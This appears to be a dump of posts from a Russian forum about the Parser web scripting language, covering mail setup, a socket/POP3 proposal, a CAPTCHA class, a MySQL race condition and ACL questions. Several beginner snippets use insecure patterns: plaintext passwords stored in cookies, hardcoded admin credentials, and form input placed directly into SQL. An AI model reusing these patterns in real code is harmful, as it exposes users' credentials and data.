По-моему как раз было бы логичнее сделать поддержку этого в Парсере. Зачем для проекта написаного на сабже еще целый зоопарк скриптов на разных языках? ладно еще всякие там работы с архивами... \
Пример (только пример):\
надо дописать скрипт, который будет выкладывать на FTP статистику.\
Варианты решений:\
1. Хотелось бы самим Парсером. Пляски с бубном: А ежели мы поставим там HTTP сервер и будем туда заливать Парсером. НО... раздел \"работа с HTTP-серверами\" говорит нам что \"Нельзя передавать файлы.\" проехали.\
\
2. Shell скрипт. Хорошо, великолепно, но уже этот код крутится на линуксе и на винде. => надо писать еще и CMD скрипт. \
\
3. Приходится писать на РНР. так как в этом случае есть уверенность что он отработает везде, где есть РНР (а он есть везде). Хорошо. начинаем пляски с правами на файл и прочими приколами. и проверяя логи видим, что время от времени не срабатывает. Посыпаем голову пеплом, читаем логи. Поиски ошибки в коде на РНР и на Парсере.\
\
\
Это просто примитивный пример. а если мне надо отправлять почту с авторизацией? опять РНР? а если мне надо написать веб интерфейс к почте которая расположена на другом сервере? Весь проект написан на Парсере, но именно эту вставку надо будет писать на РНР или Perl. \
\
Итоги подведем:\
Мне непонятна ваша мотивация по поводу \"не в духе Парсер\" в данном случае. Может тогда половину реализованого убрать из кода, чтобы осталось только ^if(){}, ^for[](){}, ^while[]{} & file::exec? Тогда Парсер станет по-настоящему простым. Только вот все остальное надо будет писать на других языках и использовать другие средства.\
\
Жду ответа."
"38776","@CLASS\
password\
\
@load[]\
# Конструктор класса, загружает инфу пользователя из базы\
^if(def $form:login){$login[$form:login]}{$login[$cookie:login]}\
^if(def $login){\
  ^connect[$MAIN:connect_system]{\
    $user[^table::sql{select * from User WHERE login = \"$login\"}]\
  }\
}\
\
@check_password[]\
#если page=exit идем удалять cookie  	\
^if($form:page eq \"exit\"){	\
  ^del_ck[]\
}\
^if(def $login){\
 ^if($form:page eq \"autorize\"){\
  ^if($login eq $user.login){\
#    логин найден в базе <br>\
    ^if($form:pass eq $user.password){\
#    пароль соответствует логину <br>\
      ^ck[]\
    }{^del_ck[]}\
  }{^del_ck[]} \
 }{\
  ^if($cookie:login eq $user.login){\
    ^if($cookie:pass eq $user.password){\
      ^ck[]\
    }\
  }\
 }\
}\
\
@ck[]\
$cookie:login[$user.login]\
$cookie:pass[$user.password]\
$cookie:name[$user.FirstName]\
\
@del_ck[]\
$cookie:login[]\
$cookie:pass[]\
$cookie:name[]\
$login[]"
"38779","воспользуйтесь поиском, можно по этому форуму."
"38781","непонятно, кому письма то идут"
"38782","@auto[]\
$connect_system[mysql://login:pass@host]\
\
@USE\
/classes/password.p\
\
@main[]\
^connect[$connect_system]{\
	$ps[^password::load[]]\
	^ps.check_password[]\
\
^if(!def $ps.login){^form_autorize[]}{\
  ^body[]\
}\
\
###############################\
Таким образом любая страничка переопределяющая метод body[] будет проверяться на наличие авторизации\
Причем, нет необходимости каждый раз пользователю проводить авторизацию, все записывается в куки"
"38783","1. если хочется: давайте согласуем, вы напишете, я включу.\
\
2. две версии простого скрипта: это правда несложно.\
\
4. отправка почты с авторизацией: задача [b]нетипична[/b]. в язык попадают типичные нужные всем задачи."
"38786","перечетал ещё раз и не понял ничего. а вводят то они свой адрес или адрес сайта куда пишут"
"38787","пишет да. Чтоб я невводил в форму..."
"38788","то нет.\
\
Вобще если стринг то чтобы невводил пишет да\
\
А если инт или доубле то нет."
"38789","не увидел process слева (тупица)."
"38790","Меня просто интересует как работать с xml в parser"
"38791","писал давно: http://www.parser.ru/forum/?id=17609"
"38792","http://www.parser.ru/docs/lang/lesson6.htm\
http://www.parser.ru/docs/lang/xdocclass.htm\
http://www.parser.ru/docs/lang/xnodeclass.htm"
"38794","дело в том что я раньше никогда не программировал и парсером занимаюсь 5 день. мне сложно так разбираться. и ответы которые вы даете рассчитаны на более высокий уровень подготовки.\
опишите пожалуйста процесс начиная с создания базы для паролей и что дальше делать...."
"38796","он выдаёт его [b]тип[/b]."
"38797","Я не прошу у Вас сделать это. (см первый пост в этом треде). Я хочу [b]своими силами и бесплатно[/b] написать добавить поддержку работы с сокетами в хорошем и любимом мной (даже немного до религиозности :) ) проекте Парсер.\
\
Все чего я хочу от Вас и пользователей Парсера - так это [quot]заранее обсудить интерфейс[/quot] просто еще не совсем понятно как сделать это в стиле Парсера.\
\
Для начала есть предложение \
\
[code]\
^socket_connect[строка подключения;параметры]{код}\
^socket:send[данные]\
[/code]\
\
Чтобы получилось где-то так\
[code]\
^socket_connect[195.218.200.166;$.port[110] $.timeout[60]]{\
\
 $is_login[^soket:send[user redactor]]\
\
   ^if($is_login.text  eq \"+OK\"){]\
   \
 $is_pwd[^soket:send[pass password]]\
       ^if($is_pwd eq \"+OK\"){\
        \
      И тут уже всякие LIST, RETR и прочее (насколько я помню протокол POP3)\
       }{\
       Не тот пароль\
        }\
   \
   }{\
   Такого пользователя нет\
   }\
\
}\
[/code]"
"38799","Please help! \
\
Уже почти два дня не могу разобраться как отправлять е-майл. При заполнении формы, нужно чтобы на указанынй пользователем е-майл отправлялось письмо. \
\
Читал и это: \
http://www.parser.ru/docs/lang/parserconfig.htm\
и это:\
http://www.parser.ru/docs/lang/parserconfmethod.htm\
\
Как я понимаю, где-то должен быть файл \"auto.p.dist\", куда можно записать что-то типа $MAIL[$.sendmail[/usr/sbin/sendmail -t -i -f]]\
и все должно заработать, но... не нахожу где лежит этот файл или куда его положить.\
\
Ну да ладно, фиг с файлом, решил в корневой auto.p написать вот так:\
\
@auto[]\
$connect_string[mysql://************]\
$MAIL[$.sendmail[/usr/sbin/sendmail -t -i -f]]\
\
И как вы поняли, снова ничего не работает! :) :((\
\
Сендмэйл лежит здесь: /usr/sbin/sendmail\
\
Народ, поможите плиз, куда чего писать надо, чтобы письма нормально убегали?\
\
Код для отправки взят из примера (только адреса поменял):\
\
^mail:send[\
      $.from[Вася <for-dimka@yandex.ru>]\
      $.to[Петя <for-dimka@yandex.ru>]\
      $.subject[как дела]\
      $.text[Как у тебя дела? У меня - изумительно!]\
]\
 \
P.S. Сорри, что задаю подобный вопрос, не могу разобраться уже и форум раза четыре перерыл, и доки по несколько раз читал. Не догоняю и все. :("
"38800","А можно ли сделать мощьный и интерактивный сайт на parser без использования xml?"
"38801","если отвлечься от мысли, что PAF-у такой низкий уровень не особенно нравится, то \
\
могу предложить:\
[code]\
^connect[socket://pop3.yandex.ru:pop3?timeout=60]{\
   $socket:line[user $user]\
   $reply[$socket:line]\
   ^if($reply ne \"+OK\"){…}\
   $socket:line[pass $password]\
   …\
}\
[/code]"
"38802","parser не работает с таким символом.\
используя libgc/cord [с версии 3.1.0] можно было сделать, но я не увидел необходимости.\
\
не вижу её и сейчас.."
"38803","Ctrl+F \"Конфигурационный файл\""
"38805","Для нерегулярных читателей хочу напомнить что в примерах появился интересный класс [url=\"http://www.parser.ru/examples/antiflood/\"]антифлуд[/url] или как я его называю антидаблпостинг.\
\
Когдато давно в форуме проходил [url=\"http://www.parser.ru/forum/?id=29218\"]тред[/url] \"Цифры на гифчике - 2 или портим малину спамерам\" автор Sanja v.2, о дополнительной защите от роботов и спамеров с применением картинок.\
\
Так вот просуммировав эти знания можно придти к такому коду:\
[code]\
# $Id: verify.p,v 1.0.4.0 2005/03/29 Eugene Spearance Exp $\
\
@USE\
antiflood.p\
\
@CLASS\
verify\
\
@BASE\
antiflood\
\
@auto[]\
# Перекрываем значения переменных из antiflood.p\
$DOUBLE_FILE[_antidouble]\
$EXPIRES_UID(1/(24*2))\
\
########################################\
# Метод перекрывающий @get[] из antiflood.p\
#####\
@get[_uid][_number]\
^BASE:_anti_cache[]\
^if(def $_uid){\
	$UID[$_uid]\
}{\
	$_number[^_random_number[]]\
	$VISITOR[^BASE:_visitor[]]\
	$UID[^BASE:_get[$VISITOR]]\
	^if(!def $UID){\
		^rem{ *** генерим uid *** }\
		$UID[^BASE:_generate[]]\
		\
		^rem{ *** сохраняем его в хешфайле *** }\
		^BASE:_set[$UID;$_number;$EXPIRES_UID]\
\
		^rem{ *** сохраняем какой uid был выдан данному посетителю последний разб чтобы если он *** }\
		^rem{ *** положит на F5 что-нить тяжелое и пойдет на обед он не зафлудил бы нам сильно хешфайл *** }\
		^BASE:_set[$VISITOR;$UID;$EXPIRES_VISITOR]\
	}\
}\
$result[$UID]\
### @get[]\
\
\
########################################\
# Метод перекрывающий @exec[] из antiflood.p\
#####\
@exec[number;code]\
^BASE:_open[]\
^file:lock[$DATA_DIR/$LOCK_FILE]{\
	^if(^BASE:_get[$UID] eq $number){\
		^rem{ *** в хешфайле есть соответствующий uid - выполняем код *** }\
		$code\
\
		^BASE:_delete[$UID]\
		^BASE:_delete[$VISITOR]\
	}{\
		^rem{ *** э, князь, ты не прав: не знаем мы ничего про такой uid, до свидания *** }\
		^throw[antiflood;Unknown UID]\
	}\
}\
#end @exec[]\
\
\
########################################\
@_random_number[]\
$result(^math:random(99999))\
$result[^result.format[%05u]]\
### End @_random_number[]\
\
\
########################################\
# Выводит заданное число в виде картинки\
#####\
@display_image[uuid;img_path][image;image_number;file_name]\
^if(def $img_path){$img_path[^img_path.match[(.+?)/?^$][m]{$match.1}]}\
$image[^image::create(100;20;0xFFFFFF)] \
^try{\
	^rem{ *** Если $uuid не задан, будет выведена пустая картинка *** }\
	$check[^BASE:_get[$uuid]]\
\
	^rem{ *** Картинки с номерами имеют названия fsXY.gif, где X - номер на картинке, *** }\
	^rem{ *** а Y - вариант. Число может быть представлено любой картинкой, чтобы     *** }\
	^rem{ *** затруднить распознавание автоматическими средствами.                    *** }\
\
	^for[i](0;4){\
		$file_name[fs^math:random(9)^check.mid($i;1)]\
		$image_number[^image::load[$img_path/${file_name}.gif]]\
\
		^rem{ *** Накладываем картиноку на фон *** }\
		^image.copy[$image_number](0;0;20;20;^eval($i*20);0) \
	}\
}{\
	$exception.handled(1)\
	^image.line(0;0;99;19;0xDDDDDD)\
	^image.line(99;0;0;19;0xDDDDDD)\
	^image.rectangle(0;0;99;19;0xDDDDDD)\
}\
$response:body[^image.gif[]]\
### End @display_image[]\
[/code]\
\
Что необходимо для работы:\
[b]1. Создать img.html[/b]\
\
Внутри него написать код:\
[code]\
@USE\
verify.p\
\
@main[]\
^verify:display_image[$form:uuid;путь_к_папке_с_номерками]\
[/code]\
Чтобы не делать блокировку картинок в .htaccess картинки можно положить вне веб пространства.\
\
[b]2. Сделать запись в .htaccess[/b]\
[code]RewriteEngine On\
\
RewriteRule ^uuid_(.*)\\.gif$  /путь_к файлу_от_корня/img.html?uuid=$1 [L][/code]\
\
[b]3. Вставить в нужное место код[/b]\
[code]\
@USE\
verify.p\
\
\
###########################################################################\
@main[]\
# получаем uid\
$uid[^verify:get[$form:uid]]\
\
$is_show_form(1)\
\
# пришло $form:uid - постят форму\
^if(def $form:uid){\
	^try{\
		^verify:exec[$form:number]{\
			^rem{ *** проверяем все-ли в форме заполнено как надо *** }\
			^check[]\
\
			^rem{ *** тут ваш код по добавлению пришедших данных куда вам больше хочется *** }\
			<p>Ваше сообщение было успешно добавлено.</p>\
			$is_show_form(0)\
		}\
	}{\
		^if($exception.type eq \"antiflood\"){\
			$exception.handled(1)\
			<p>Неверно набран номер с картинки.</p>\
			$is_show_form(0)\
		}\
		^if($exception.type eq \"check\"){\
			$exception.handled(1)\
			<p>Не заполнены обязательные поля формы.</p>\
		}\
	}\
}\
\
# если надо - показываем форму\
^if($is_show_form){\
	<form method=\"post\">\
		<input type=\"hidden\" name=\"uid\" value=\"$uid\" />\
    	\
		<i>* Имя:</i><br />\
		<input type=\"text\" name=\"name\" value=\"$form:name\" /><br />\
    	\
		<i>E-mail:</i><br />\
		<input type=\"text\" name=\"email\" value=\"$form:email\" /><br />\
    	\
		<i>Сообщение:</i><br />\
		<textarea name=\"text\">$form:text</textarea><br />\
    	    	<i>Введите номер с картинки:</i><br />\
    	    	<input type=\"text\" name=\"number\" size=\"5\" maxlength=\"5\" /> <img src=\"/uuid_${uid}.gif\" width=\"100\" height=\"20\" alt=\"включите поддержку картинок\" />\
		<input type=\"submit\" name=\"action\" value=\"Отправить\" />\
	</form>\
}\
#end @main[]\
\
\
###########################################################################\
@check[]\
^if(!def $form:name){\
	^throw[check;Не заполнены обязательные поля формы.]\
}\
#end @check[]\
[/code]\
\
Вот собственно и всё. Использование этих классов, позволяет избавиться от базы данных.\
Ссылка на файл с картинками [url=\"http://bougakov.com/misc/noise.zip\"]вот[/url].\
\
P.S. Заранее извиняйте за обилие кода. Misha и Sanja, спасибо за идеи и код."
"38806","А как тогда узнать, содержится ли в строке число и только число?\
\
Насколько я понимаю, только так:\
[code]\
^str.match[^^[0-9]+^$]\
[/code]"
"38807","не используйте конкретные .gif файлы из архива по ссылке,\
зайдите в .psd и измените их фон и шрифт.\
\
[b]если[/b] кто использует эти .gif файлы без изменений, проломить эту защиту [i]читателю данного форума[/i] будет совсем нетрудно."
"38808","Вот чего я хотел. Теперь время действий."
"38809","а это?\
1.5\
1e-3\
\
так что или точное регулярное выражение,\
^string.int или .double с параметром,\
или без параметра, но с ^try"
"38810","Почему выдает ошибку так\
^таблица.locate[]\
А так все работает\
$переменная[^таблица.locate[]]"
"38811","Если куакие-то слова непонятны, то пишите сюда. Лично возьмусь перевести."
"38813","Просто я его не знаю...\
И мне ещё нужен хороший веб учебник по xml.\
Тогда неприязнь отпадёт :)"
"38814","это в первой строчке скрипта, плюс еще поставить флаг executable на этот скрипт и все, его можно выполнять... как выполнять - man cron"
"38816","http://www.citforum.ru/internet/xslt/index.shtml\
\
http://www.citforum.ru/internet/xmlxslt/xmlxslt.shtml\
\
http://www.w3.org/"
"38817","А тперь обо всём по порядку :)\
\
Есть в БД таблица в которой хранится график доступности курьеров на неделю вперёд (на 7 дней).\
поля таблицы courier_shedule слудеющие:\
courier_id, d1, d2, d3, d4, d5, d6, d7, date_sdvig\
\
в полях d1 - d7 хранится в числовом закодированном виде расписания их доступности на каждый из 7 дней\
\
d1 соответствует сегодня. Когда наступает следующий день, данные должны сдвинуться на 1 день влево, т.е.\
d1:=d2\
d2:=d3\
d3:=d4\
d4:=d5\
d5:=d6\
d6:=d7\
d7:=0 (нет расписания, т.к. добавился новый день)\
График должен сдвигаться один раз в день при обращении к любой странице сайта любого пользователя. Но если будут перерывы в заходах на сайт в несколько дней, то график должен сдвигаться не на 1 день, а на разницу дата последнего обновления и сегодняшняя дата. Дату последнего обновления храним в файле /admin/date_last_update.txt в формате 18-03-2005 например\
\
далее прописывем в каждую страницу такой код:\
[code]\
$fileLastUpdate[^file::load[text;/admin/date_last_update.txt]] \
$now[^date::now[]]\
^fileLastUpdate.text.match[(\\d+)\\-(\\d+)\\-(\\d+)][g]{$oldDate[^date::create($match.3;$match.2;$match.1)]}\
$x(^math:trunc($now - $oldDate))\
^if(^dtf:format[%d-%m-%Y;$now] ne $fileLastUpdate.text){\
#----------Делаем сдвиг в БД---------------\
^void:sql{\
	UPDATE courier_shedule\
	SET\
		date_sdvig='^now.sql-string[]',\
		^for[i](1;7){\
		d$i = ^if($i+$x<=7){d^eval($i+$x)}{0}\
		}[,]\
	WHERE\
		date_sdvig<'^now.sql-string[]'\
	}	\
#---------------------------------------------------------------\
$newDateTXT[^dtf:format[%d-%m-%Y;$now]]\
^newDateTXT.save[/admin/date_last_update.txt]\
}\
\
[/code]\
\
По идее этот код должен сдвигать дни как и задумано - так и происходит как ни странно!!! :)\
Но проблема в том, что иногда все поля d1, d2, d3, d4, d5, d6, d7 забываются нулями (графики курьеров сбрасываются).\
\
Объясните мне, умные головы, как это может происходить - хотя бы теоретически????? Я уже это поде date_sdvig добавил специально, чтобы при одновременном запуске считывания старой даты из файла /admin/date_last_update.txt несколькими пользователями, они последовательно не могли сместить несколько раз график, а чтобы сдвиг сделал, тот кто первый успеет выполнить запрос к БД.\
\
Но и это не помогло - где-то тут ещё есть ДЫРА!!! А я уже что-то не догоняю совсем, где она может быть хотябы гипотетически.\
\
Помогите разобраться"
"38818","Я бы небыл так уверен, что\
d1=d2, d2=d3, d3=d4, ... , d7=0\
не тоже, что\
d1=d2=d3=d4=...=d7=0.\
\
Я бы хранил [i](courier_id, date, code)[/i] и выбирал [i]* where date >= текущей_даты[/i].\
\
Сдвигать ни чего не нужно. Просто раз в сутки (man crontab) делал бы [i]delete from таблицы where date < текущей_даты[/i]."
"38819","Оказывается, Eugene сослался на мой старенький файл с гифчиками. Я на него взглянул свежим взглядом и меня затошнило. На экране ноутбука цифры неразличимы.\
\
Если кому охота - я по-быстрому соорудил заготовку с цифрами, выполненными разными шрифтами и закатал в photoshop (сорри, нет под рукой ничего для экспорта в pdf со внедрением шрифтов). Typefaces выбирал позаковыристее - их файнридер не возьмёт даже без замусоривания фона. Качать отсюда - http://www.bougakov.com/misc/fancy_fonts.zip (весит ровно триста кило)"
"38820","в 99% это\
d1=d2, d2=d3, d3=d4, ... , d7=0\
работает как d1=d2, d2=d3, d3=d4, ... , d7=0\
\
а в 1% вдруг MySQL обрабатывает этоже d1=d2, d2=d3, d3=d4, ... , d7=0\
как d1=d2=d3=d4=...=d7=0\
\
????\
\
БРЕД, по-моему!!!!"
"38821","Нет стабильности - не используйте.\
\
В приведённом мной примере этого не произойдёт и (!) нет нужды перелопачивать все поля всей таблицы.\
\
Ссылка по теме: http://www.parser.ru/forum/?id=12706"
"38822","что да?"
"38823","количество претензий не указано.\
\
\
\
\
\
:)"
"38824","я специально поле date_sdvig добавил\
\
date_sdvig='^now.sql-string[]'\
WHERE date_sdvig<'^now.sql-string[]'\
\
Эти строчки в UPDATE делают то, от чего ПАФ предостерегал!\
\
Я думаю может кавычки добавить так\
d$i = \"^if($i+$x<=7){d^eval($i+$x)}{0}\""
"38825","по моему я встречал ошибку о некорректной обработке полей в запросах вида:\
[code]\
SET\
  d1 = d2,\
  d2 = d3\
[/code]\
...\
\
соответственно если найдете - обновляйте MySQL, но я бы забил и сделал-бы это действие в 2 запроса: сначала select, потом UPDATE где цифры.\
\
P.S. date_sdvig='^now.sql-string[]' => date_sdvig = NOW()"
"38830","я так понял что основая проблема в этом - разделить данные и дизайн (дизайн управления данными)? но вроде же для этого XML придумали... то есть надо придумать программу, которая бы обменивалась с сервером небольшими XML порциями с данными, а дизайн админки конкретного сайта получался бы тем же XML в начале сессии или хранился бы локально...\
или я чего-то не то понял?"
"38831","вместо этого:\
[code]\
^void:sql{\
	UPDATE courier_shedule\
	SET\
		date_sdvig='^now.sql-string[]',\
		^for[i](1;7){\
		d$i = \"^if($i+$x<=7){d^eval($i+$x)}{0}\"\
		}[,]\
	WHERE\
		date_sdvig<'^now.sql-string[]'\
	}\
[/code]\
\
сделать это:\
\
завести дополнительное поле lock, по умолчанию равное \"0\"\
[code]\
\
^for[i](1;7){\
^void:sql{\
	UPDATE courier_shedule\
	SET lock=$i, d$i = \"^if($i+$x<=7){d^eval($i+$x)}{0}\"\
	WHERE lock=$i-1\
	}\
}\
^void:sql{UPDATE courier_shedule SET lock=0}\
\
[/code]\
\
Если даже одновременно несколько пользователей выполнять начнут этот код, то на мой взгляд всё корректно должно отработать. Согласны?"
"38832","всё равно во входных данных у меня \"простой текст\", никаких непечатных символов там нет, а для промежуточных будет написана хитрая функция @spetschar[], которая на ^spetschar(0) будет выдавать что-то типа %00, а дальше уже дело техники..."
"38833","[quot]\
В заключение хочется заметить, что изящнее было бы вынести методы вроде dbconnect из класса MAIN в отдельный класс.\
[/quot]\
Я знаю, как создавать пользовательские классы и как их подключать, но не могу понять, как это сделать более правильно.\
\
Я пишу класс:\
[code]\
@CLASS\
dbconnect\
\
@load[code]\
^dbc[mysql://...]{code}\
[/code]\
Где мне нужно соединение, подключаю класс:\
[code]\
@USE\
/classes/dbconnect.p\
\
@body_main[]\
...\
$news[^dbconnect::load[]]\
^news.load{...}\
[/code]"
"38835","Скажите, пожалуйста, в новой версии (с исправлениями) работа в методах с внутренними и внешними данными измениласть.\
Я работаю с методами, которые используют переменную из вызвашего их метода (они определены как \"собственность\" этого метода). Со старым парсером это прокатывало и все работало. Новый же матерится. Приходится переопределять переменную и делать копию.\
\
Так и задумано???"
"38836","Незнаю решил ты или нет, но когда $x больше 7 то у тебя всегда не выполнено условие и поэтому везде нули.\
Учитывай это.\
Успехов"
"38837","Это изменилось в версии 3.0.0006. [Подробности в архиве новостей]\
\
А в http://www.parser.ru/docs/lang/?definemethod.htm читаем про $caller."
"38838","Про $caller я прекрасно знаю. Меня не это напрягает.\
 В новостях как раз я ничего и не увидел, правда может быть я слепой...\
Просто пришлось изрядно переписать. Вот мне и интересно: это запланированное изменение или нет."
"38840","Похоже что версия для винды для Apache для домашней работы не была доделана до конца :-)"
"38842","Что-то поэксперементировал с taint-untaint а так ничего и не добился : )\
Дано:\
В поле body, класса \"text\", храню запись:\
[code]\
Список текущих серверных переменных:<br>\
$cvars[^table::load[server.cfg]]\
<BR><BR>\
<table cellspacing=0 cellpadding=0>\
^cvars.menu{\
	<tr><td class=var>$cvars.var</td>\
	<td class=var>$cvars.zn</td>\
	<td class=comment>$cvars.comment</td>\
	</tr>}\
</table>\
[/code]\
^untaint[as-is]{$my.body} показывает код : (\
А я хочу чтобы при показе этого дела код исполнялся. Так можно? : )"
"38844","Я картинки предложил для примера. Понятное дело лучше использовать свои.\
\
TO: Sanja\
Шрифты из вашего второго примера использовать неразумно, т.к. при уменьшении, они мало чем будут отличаться от обычных, и их читабильность на ЖК мониторах не повысится.\
\
На сегодня самым действенным способом мне видится только использовать в качестве фона под номерами куски газеты (книги).\
В таком случае распознание будет вносить много лишнего мусора, и это станет далеко не тривиальной задачей."
"38845","Можно выложить картинку в виде Flash.\
Представьте себе серенький такой прямоугольник.\
Водишь мышкой по нему, серый стирается, а под ним номерок, который в свою очередь подгружени из xml.\
\
Можно собственно и без стирания скретча. Но так некоторая динамика получается.\
\
Главное что распарсивать flash и распознавать по кривым куда труднее чем просто картинку распознать."
"38846","Я себе админку для сайта на Delphi пишу.. Исходя из-того, что получается, доволен до ..  Функциональность выше, трафика ест в несколько раз меньше. Например для вывода через браузер >300 записей и большой таблицы, у браузера уйдет килобайт 600, не меньше, а здесь - около 60 КБ...\
Очень удобно получается, одна проблема, сложно ее ввести как стандартную администраторскую часть, т.к. для каждого клинета в MYSQL придется прописывать хост (а если у пользователя не выделенный IP то еще хуже)\
Так что советую!"
"38847","У меня в форме для отправки файлов (предположим) 5 элементов\
[code]^for[id](1;5){\
         <input type=\"file\" name=\"img_$id\" size=\"20\">\
                }[/code]\
\
А сохранить это всё хочется вот так (или что-то в этом роде):\
\
[code]^for[id](1;5){\
       ^form:img_$id.save[binary;/write/123.jpg]\
               }[/code]	\
\
Если я делаю ^form:img_${id}.save[....\
Вы даёт ошибку parse error, expecting `STRING'"
"38849","После добавления в @conf[]\
$MAIL[$.sendmail[/usr/sbin/sendmail -t -i -f postmaster]]\
Выдается ошибка\
\
'send' Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it [parser.runtime]\
\
Поискал по форуму все что с этим связано (ключевые слова \"postmaster key\", \"sendmail\" и 'SMTP'), понял, что нужно удалить строчку $MAIL[$.sendmail....], так как по умолчанию эти параметры уже прописаны. Удалил. \
\
И снова ничего не происходит. При загрузке страницы с кодом\
\
^mail:send[\
    $.from[<for-dimka@yandex.ru>]\
    $.to[<for-dimka@yandex.ru>]\
    $.subject[как дела]\
    $.text[Как у тебя дела? У меня - изумительно!]\
]\
\
Парсер не выдает никаких ошибок, но и письма не приходят. :(\
\
Если честно, я еще не сильно разбираюсь в тонкостях работы сендмейлов, апача и т.д., видимо еще не дорос. :) Сейчас читаю литературу, но... с отправкой почты нужно разобраться уже сейчас.\
\
Как я понимаю, тут проблема не столько в парсере и настройках, сколько что-то в настройках сервера. Подскажите, пожалуйста, где \"копать\" надо?\
 \
P.S. Народ, плиз, не посылайте \"читать форум\". Прежде чем задавать вопросы, я стараюсь сначала разобраться во всем сам. И по форум несколько раз перечитываю и в и-нете ищу... Буду оч. благодарен за помощь!"
"38850","попробуйте попросить помощи у вашего администратора.\
если парсер при выполнении ^mail:send[] не выдает ошибки, значит скорее всего ему удалось отдать это письмо sendmail-у. возможно ваш администратор посмотрев логи sendmail-а вам сможет помочь.\
\
ещё попробуйте отправить письмо не заключая адрес отправителя/отправлятеля в <> т.к. некоторые sendmail-ы их не любят, попробуйте отправить письмо на другой адрес (может ваш smtp сервер у яндекса в blacklist-е) и попробуйте прописать ваш настоящий обраный адрес на этом почтовом сервере (может ваш сервер такие письма отфутболивает)."
"38851","поскольку, увидев картинку, читатель [b]этого[/b] форума первым делом посмотрит, не похожи ли картинки на опубликованные здесь.\
\
если это будут они, сами понимаете, никто ничего не будет FineReader-ом распознавать, будут просто сравнены несколько пикселов выданной картинки с шаблонной."
"38853","«подгрузить из XML» атакующий сможет и сам, без помощи вашего flash.\
\
общий посыл: если кто берётся защищаться, сначала подумайте, как вы бы сами это стали ломать.\
\
сюрприз: сколько я делал защит, все они были рано или поздно сломаны, причём люди входили вовсе не в те двери, которые были сделаны стальными. \
\
обычно входят через каплю с потолка или через отражение в зеркале в коридоре."
"38854","послушайте доброго совета lion-а, упростите её предложенным им способом.\
\
если же вам академически интересно, «почему бред», выясните это на досуге, потом расскажите.\
\
продолжать иметь живую систему от которой многое зависит с [b]такой[/b] структурой данных не советую."
"38857","В форму грузим E:\\web\\xampp\\htdocs\\calculator\\Astra.txt\
\
[code]$derival[^file:justname[$form:datafile]][/code]\
\
Возвращает E:\\web\\xampp\\htdocs\\calculator\\Astra\
\
В документации:\
[quot]^file:justname[filespec]\
\
Из полного пути к файлу (filespec) получает имя файла без пути и расширения имени.\
\
Пример\
^file:justname[/a/some.tar.gz]\
\
…выдаст…\
\
some.tar[/quot]\
\
Как это следует понимать?"
"38859","У меня были такие подозрения...\
\
НО! Строка получена из формы. Парсер нормально читает таблицу из этого пути ($form:derival) и даже благополучно кидает эту таблицу в базу! Как такое может быть? (кстати, я мог ввести слеши не так, как их видит парсер)\
\
Теперь их что, вручную менять?"
"38860","база создается шутейно, тоьлко для проверки, потом перейду на MySql. пароль проверяется нормально. но когда идентификация прошла и появилась форма добавления новостей- заполняю поля, нажимаю кнопку для отправки новости в БД и на этом всё, появляется опять поля логин и пароль. в auto.p саздан\
 @auto[]\
	$connect_string[mysql://root@localhost/p3test]\
\
@vstavka[]\
$now[^date::now[]]\
<center>\
<form method=\"post\">\
<p>\
дата: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\">\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
автор: <input name=\"header\">\
</p>\
<p>текст:<br>\
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea>\
</p>\
<p>\
<input type=\"Submit\" value=\"Add new\" name=\"posted\">&nbsp;&nbsp;&nbsp;\
<input type=\"Reset\" value=\"cancel\">\
</p>\
</form>\
</center>\
#начало обработки\
^if(def $form:date && def $form:header && def $form:body){\
^connect[$connect_string]{\
^void:sql{insert into news\
(date, header, body)\
	values\
('$form:date', '$form:header', '$form:body')\
}\
...новость добавлена\
}\
}{\
...заполните все поля\
}\
\
\
\
\
\
@body_main[]\
<br><br>\
<center>\
<form method=\"post\">\
<p>\
login: <input name=\"log\" >\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
&#239;&#224;&#240;&#238;&#235;&#252;: <input name=\"passwd\">\
</p>\
<p>\
<input type=\"Submit\" value=\"принять пароль\" name=\"posted1\">&nbsp;&nbsp;&nbsp;\
<input type=\"Reset\" value=\"сбросить\">\
</p>\
</form>\
$goods[^table::create{login	passwd\
admin	admin3\
roman	roman3\
sergey	sergey3\
}]\
^if(^goods.locate[login;$form:log]){\
\
}{\
имя $form:log не найдено в базе\
}\
^if($goods.passwd eq $form:passwd){\
 								^vstavka[]\
\
				}{\
					ваш пароль не верный\
					}"
"38861","разбираюсь с классмо авторизации. не нашел ответы на пару вопросов. Помогите понят идеологию. \
\
1. У пользователей и у групп есть поле 'rights'. Как оно используется? т.е. что $auth.user.rights вернет именно эти права понятно. Тогда насколько я понял, getFullACL вытяет из таблицы acl все права пользователя и групп, в которых он состоит на объект. Но права собственно пользователя и групп не будут учтены? Т.е. прав, которые прописаны в таблице ausers.\
\
2. сюдя по всему getFullACL все-таки не учитывает rights из таблицы ausers. Тогда как можно получить полный acl именно этих прав?\
\
3. Не догнал механизм владельцев. Пример. Есть объект. пускай один, без родителей. Есть записи в таблице acl для пользователей и групп. это понятно. можно получить права пользователя на объект. Можно прописать права для овнера на этот объект, это тоже понятно. Но как сопоставить пользователя и овнера конкретного объекта?\
\
Прошу прощения за некоторую сумбурность. Готов ответить, если что не понятно. Заранее спасибо."
"38863","1 и 2. getFullACL и не должен считать эффективные права, он лишь достает из БД записи, необходимые для этого. а права пользователя на объекты вычисляются методом getRightsToObject, пример тут (поиск - рулез):\
http://www.parser.ru/forum/?id=31191\
http://www.parser.ru/forum/?id=22414\
\
3. не понял вопроса. у объекта есть поле auser_id. тут хранится id владельца объекта. методу getRightsToObject вы можете передать эту информацию в виде битового поля (is_owner) и он все это учтет. в принципе если у передаваемого методу getRightsToObject object и thread есть поле auser_id (а так оно у меня обычно и бывает), то этот is_owner нафиг не нужен, мы можем внутри метода написать не \
^if($is_owner){...}, а ^if($user.user_id == $object.auser_id){...}"
"38865","1,2. Согласен, криво выразил мысль. getRightsToObject вычиляет эффективные права на объект на основе acl. Это понятно и совершенно логично. \
Но все равно остается непонятным как используются права из auser\
Чтобы было понятнее привожу кусок кода. Там же иллюстрация к овнеру. По идее пользователь должен быть и овнером и иметь эффективные права группы админов 16777215. \
\
[code]\
$current_object[^MAIN:pSQL.sql[table]{\
	SELECT\
		record_id AS id,\
		parent_id,\
		thread_id,\
		irf,\
		autor as auser_id,\
		text\
	FROM\
